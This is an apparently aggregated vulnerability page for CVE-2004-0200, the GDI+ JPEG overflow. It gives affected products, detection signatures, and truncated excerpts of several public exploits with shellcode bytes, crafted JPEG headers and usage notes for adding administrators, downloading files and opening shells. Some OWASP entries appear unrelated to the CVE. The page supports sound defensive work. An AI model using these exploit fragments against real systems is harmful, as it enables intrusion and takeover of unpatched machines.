CVE-2004-0200
published 2004-09-28CVE-2004-0200: Buffer overflow in the JPEG (JPG) parsing engine in the Microsoft Graphic Device Interface Plus (GDI+) component, GDIPlus.dll, allows remote attackers to…
PriorityP358critical9.3CVSS 2.0
AVNACMAuNCCICAC
EXPLOIT
EPSS
49.02%
98.9th percentile
Buffer overflow in the JPEG (JPG) parsing engine in the Microsoft Graphic Device Interface Plus (GDI+) component, GDIPlus.dll, allows remote attackers to execute arbitrary code via a JPEG image with a small JPEG COM field length that is normalized to a large integer length before a memory copy operation.
Affected
36 ranges· showing 25
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| microsoft | digital_image_pro | — | — |
| microsoft | digital_image_pro | — | — |
| microsoft | digital_image_suite | — | — |
| microsoft | excel | — | — |
| microsoft | excel | — | — |
| microsoft | frontpage | — | — |
| microsoft | frontpage | — | — |
| microsoft | greetings | — | — |
| microsoft | infopath | — | — |
| microsoft | net_framework | — | — |
| microsoft | office | — | — |
| microsoft | office | — | — |
| microsoft | onenote | — | — |
| microsoft | outlook | — | — |
| microsoft | outlook | — | — |
| microsoft | picture_it | — | — |
| microsoft | picture_it | — | — |
| microsoft | picture_it | — | — |
| microsoft | powerpoint | — | — |
| microsoft | powerpoint | — | — |
| microsoft | project | — | — |
| microsoft | project | — | — |
| microsoft | publisher | — | — |
| microsoft | publisher | — | — |
| microsoft | visio | — | — |
Detection & IOCsextracted from sources · hover to see the quote
bytes↗
FF D8 FF E0 00 10 4A 46 49 46 00 01 02 00 00 64 00 64 00 00 FF EC 00 11 44 75 63 6B 79 00 01 00 04 00 00 00 0A 00 00 FF EE 00 0E 41 64 6F 62 65 00 64 C0 00 00 00 01 FF FE 00 01
bytes↗
EB 0F 58 80 30 17 40 81 38 6D 30 30 21 75 F4
bytes↗
D9 E1 D9 34 24 58 58 58 58 80 E8 E7
bytes↗
66 81 EC 80 00 89 E6 E8 B7 00 00 00 89 06 89 C3
- →Detect crafted JPEG files exploiting CVE-2004-0200 by scanning for the JPEG COM marker (0xFF 0xFE) immediately followed by a zero or one-byte length field (0x00 0x00 or 0x00 0x01), which triggers the integer normalization overflow in GDIPlus.dll. ↗
- →Exploit JPEGs contain shellcode that must not include the bytes 0xFF 0xD9 (JPEG EOI marker); scan for anomalous JPEG files where the COM field length is 0x0000 or 0x0001 as a reliable trigger indicator. ↗
- →The exploit JPEG header pattern starts with FF D8 FF E0 ... FF FE 00 01 (or 00 00). Signature-match this byte sequence in network traffic or file scanning to identify exploit delivery. ↗
- →Bind-shell payloads default to port 1337; reverse-shell payloads connect back on attacker-specified port (default 1337). Monitor for unexpected outbound or inbound connections on port 1337 from image-rendering processes. ↗
- ·Windows XP SP2 is not vulnerable; exploits only affect unpatched systems running SP1 or earlier. Do not waste detection resources targeting SP2 systems for this specific CVE. ↗
- ·Return addresses embedded in exploit payloads are version-specific to GDIPlus.dll (5.1.3097.0 for English SP1, 5.1.3101.0 for Italian SP1). Detections based on hardcoded addresses will miss variants targeting other DLL versions. ↗
- ·Shellcode embedded in exploit JPEGs cannot contain the bytes 0xFF 0xD9 (JPEG end-of-image marker), as this would prematurely terminate parsing. Byte-pattern detections for shellcode must account for this encoding constraint. ↗
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Microsoft Windows - JPEG GDI+ Bind/Reverse/Admin/File Download
exploitdb·2004-09-27
CVE-2004-0200 Microsoft Windows - JPEG GDI+ Bind/Reverse/Admin/File Download
Microsoft Windows - JPEG GDI+ Bind/Reverse/Admin/File Download
---
/*
* Exploit Name:
* =============
* JpegOfDeath.M.c v0.6.a All in one Bind/Reverse/Admin/FileDownload
* =============
* Tweaked Exploit By M4Z3R For GSO
* All Credits & Greetings Go To:
* ==========
* FoToZ, Nick DeBaggis, MicroSoft, Anthony Rocha, #romhack
* Peter Winter-Smith, IsolationX, YpCat, Aria Giovanni,
* Nick Fitzgerald, Adam Nance (where are you?),
* Santa Barbara, Jenna Jameson, John Kerry, so1o,
* Computer Security Industry, Rom Hackers, My chihuahuas
* (Rocky, Sailor, and Penny)...
* ===========
* Flags Usage:
* -a: Add User X with Pass X to Admin Group;
* IE: Exploit.exe -a pic.jpg
* -d: Download a File From an HTTP Server;
* IE: Exploit.exe -d http://YourWebServer/Patch.exe pic.jpg
* -r: Send Back a Shell
Exploit-DB
Microsoft Windows - JPEG GDI+ Overflow Download Shellcode (MS04-028)
exploitdb·2004-09-25
CVE-2004-0200 Microsoft Windows - JPEG GDI+ Overflow Download Shellcode (MS04-028)
Microsoft Windows - JPEG GDI+ Overflow Download Shellcode (MS04-028)
---
/*
Windows JPEG GDI+ Overflow Download Shellcoded Exploit (MS04-028)
Coded By ATmaCA
Credit to eEye Digital Security,K-OTik Security,FoToZ,pathetic.
E-Mail:[email protected]
Web:www.prohack.net
*/
#include
#include
/*
Generic win32 http download shellcode
You can put approx 2500 bytes of shellcode...
But the shell code can not contain 0xFFh 0xD9
because it is the marker for end of jpeg image.
*/
char shellcode[]=
"\xEB\x0F\x58\x80\x30\x17\x40\x81\x38\x6D\x30\x30\x21\x75\xF4"
"\xEB\x05\xE8\xEC\xFF\xFF\xFF\xFE\x94\x16\x17\x17\x4A\x42\x26"
"\xCC\x73\x9C\x14\x57\x84\x9C\x54\xE8\x57\x62\xEE\x9C\x44\x14"
"\x71\x26\xC5\x71\xAF\x17\x07\x71\x96\x2D\x5A\x4D\x63\x10\x3E"
"\xD5\xFE\xE5\xE8\xE8\xE8\x9E\xC4\x9C\x6D\x2B\x16\xC0
Exploit-DB
Microsoft Windows - JPEG GDI+ Remote Heap Overflow (MS04-028)
exploitdb·2004-09-25
CVE-2004-0200 Microsoft Windows - JPEG GDI+ Remote Heap Overflow (MS04-028)
Microsoft Windows - JPEG GDI+ Remote Heap Overflow (MS04-028)
---
/***************************************************************
*
* GDI+ JPEG Remote Exploit
* By John Bissell A.K.A. HighT1mes
*
* Exploit Name:
* =============
* JpegOfDeath.c v0.5
*
* Date Exploit Released:
* ======================
* Sep, 23, 2004
*
* Description:
* ============
* Exploit based on FoToZ exploit but kicks the exploit up
* a notch by making it have reverse connectback as well as
* bind features that will work with all NT based OS's.
* WinNT, WinXP, Win2K, Win2003, etc... Thank you FoToz for
* helping get a grip on the situation. I actually had got
* bind jpeg exploit working earlier but I could only
* trigger from OllyDbg due to the heap dynamically changing...
*
* If anyone who uses this exploit has use
Exploit-DB
Microsoft Windows - JPEG GDI+ Overflow Administrator (MS04-028)
exploitdb·2004-09-23
CVE-2004-0200 Microsoft Windows - JPEG GDI+ Overflow Administrator (MS04-028)
Microsoft Windows - JPEG GDI+ Overflow Administrator (MS04-028)
---
#!/bin/sh
#
# MS04-028 Exploit PoC II with Shellcode: CreateUser X in Administrators Group
#
# Tested on:
# WinXP Professional English SP1 - GDIPLUS.DLL version 5.1.3097.0
# WinXP Professional Italian SP1 - GDIPLUS.DLL version 5.1.3101.0
# (SP2 is not vulnerable, don't waste your time trying this exploit on it!)
#
# Usage:
# first, replace the "\xCC" = INT3 instruction at beginning of shellcode
# second, choose a right ret address for GDI+ DLL and WinXP version
# then, create crafted JPEG with: sh ms04-028.sh > img.jpg
#
# Created by:
# Elia Florio
# (heap overflow study purpose, not for lamerz, not for script-kiddie)
#
# Thanx to:
# jerome.athias
# metasploit.org
# idefense
# full-disclosure list
#*********************
Exploit-DB
Microsoft Windows - JPEG Processing Buffer Overrun (MS04-028)
exploitdb·2004-09-22
CVE-2004-0200 Microsoft Windows - JPEG Processing Buffer Overrun (MS04-028)
Microsoft Windows - JPEG Processing Buffer Overrun (MS04-028)
---
#!/bin/sh
#
# The JPEG vuln is triggered by the 0 or 1 length field with an integer flaw
# The crafted JPEG header makes Windows crash a couple of different ways
# 1) First, it crashes when the image is opened.
# 2) Second, it crashes when hovering the mouse over the image.
#
# The pointer overwrite is pretty straight forward in a debugger
#
# Usage:
# sh ms04-028.sh > clickme.jpg
#
# Note: This isn't a ./hack
# - Plug in shellcode and get the address
# - You non-kiddies out there are smart enough to fill in the blanks
# - Until you do the above, it's just a stupid PoC crash
#
# It's ugly, but it works :)
#
# -perplexy-
#JPEG header 'n stuff
printf "\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46"
printf "\x00\x01\x01\x01\x00\x6
Exploit-DB
Microsoft Windows - JPEG GDI+ Overflow Shellcode
exploitdb·2004-09-22
CVE-2004-0200 Microsoft Windows - JPEG GDI+ Overflow Shellcode
Microsoft Windows - JPEG GDI+ Overflow Shellcode
---
// launch a local cmd.exe (not bound to the net)...
// GDI+ buffer overrun exploit by FoToZ
// NB: the headers here are only sample headers taken from a .JPG file,
// with the FF FE 00 01 inserted in header1.
// Sample shellcode is provided
// You can put approx. 2500 bytes of shellcode...who needs that much anyway
// Tested on an unpatched WinXP SP1
#include
#include
char shellcode[]=
"\x68" // push
"cmd "
"\x8B\xC4" // mov eax,esp
"\x50" // push eax
"\xB8\x44\x80\xC2\x77" // mov eax,77c28044h (address of system() on WinXP SP1)
"\xFF\xD0" // call eax
;
char header1[]=
"\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x02\x00\x00\x64"
"\x00\x64\x00\x00\xFF\xEC\x00\x11\x44\x75\x63\x6B\x79\x00\x01\x00"
"\x04\x00\x00\x00\x0A\x00\x00\xF
No writeups or analysis indexed.
OWASP
Incubated Vulnerability
owasp·CVSS 9.3
CVE-2004-0200 [CRITICAL] Incubated Vulnerability
# Incubated Vulnerability
|ID |
|------------|
|WSTG-INJT-14|
## Summary
Also often referred to as persistent attacks, incubated testing is a complex testing method that needs more than one data validation vulnerability to work. Incubated vulnerabilities are typically used to conduct "watering hole" attacks against users of legitimate web applications.
Incubated vulnerabilities have the following characteristics:
- The attack vector needs to be persisted in the first place, it needs to be stored in the persistence layer, and this would only occur if weak data validation was present or the data arrived into the system via another channel such as an admin console or directly via a backend batch process.
- Secondly, once the attack vector was "recalled" the vector would need to be execut
OWASP
Testing for Incubated Vulnerability
owasp·CVSS 9.3
[CRITICAL] Testing for Incubated Vulnerability
# Testing for Incubated Vulnerability
|ID |
|------------|
|WSTG-INPV-14|
## Summary
Also often referred to as persistent attacks, incubated testing is a complex testing method that needs more than one data validation vulnerability to work. Incubated vulnerabilities are typically used to conduct "watering hole" attacks against users of legitimate web applications.
Incubated vulnerabilities have the following characteristics:
- The attack vector needs to be persisted in the first place, it needs to be stored in the persistence layer, and this would only occur if weak data validation was present or the data arrived into the system via another channel such as an admin console or directly via a backend batch process.
- Secondly, once the attack vector was "recalled" the vector would need
OWASP
Testing for Incubated Vulnerability
owasp·CVSS 9.3
CVE-2004-0200 [CRITICAL] Testing for Incubated Vulnerability
# Testing for Incubated Vulnerability
|ID |
|------------|
|WSTG-INJT-14|
## Summary
Also often referred to as persistent attacks, incubated testing is a complex testing method that needs more than one data validation vulnerability to work. Incubated vulnerabilities are typically used to conduct "watering hole" attacks against users of legitimate web applications.
Incubated vulnerabilities have the following characteristics:
- The attack vector needs to be persisted in the first place, it needs to be stored in the persistence layer, and this would only occur if weak data validation was present or the data arrived into the system via another channel such as an admin console or directly via a backend batch process.
- Secondly, once the attack vector was "recalled" the vector would need
http://marc.info/?l=bugtraq&m=109524346729948&w=2http://www.kb.cert.org/vuls/id/297462http://www.us-cert.gov/cas/techalerts/TA04-260A.htmlhttps://docs.microsoft.com/en-us/security-updates/securitybulletins/2004/ms04-028https://exchange.xforce.ibmcloud.com/vulnerabilities/16304https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1105https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1721https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A2706https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A3038https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A3082https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A3320https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A3810https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A3881https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A4003https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A4216https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A4307http://marc.info/?l=bugtraq&m=109524346729948&w=2http://www.kb.cert.org/vuls/id/297462http://www.us-cert.gov/cas/techalerts/TA04-260A.htmlhttps://docs.microsoft.com/en-us/security-updates/securitybulletins/2004/ms04-028https://exchange.xforce.ibmcloud.com/vulnerabilities/16304https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1105https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1721https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A2706https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A3038https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A3082https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A3320https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A3810https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A3881https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A4003https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A4216https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A4307
2004-09-28
Published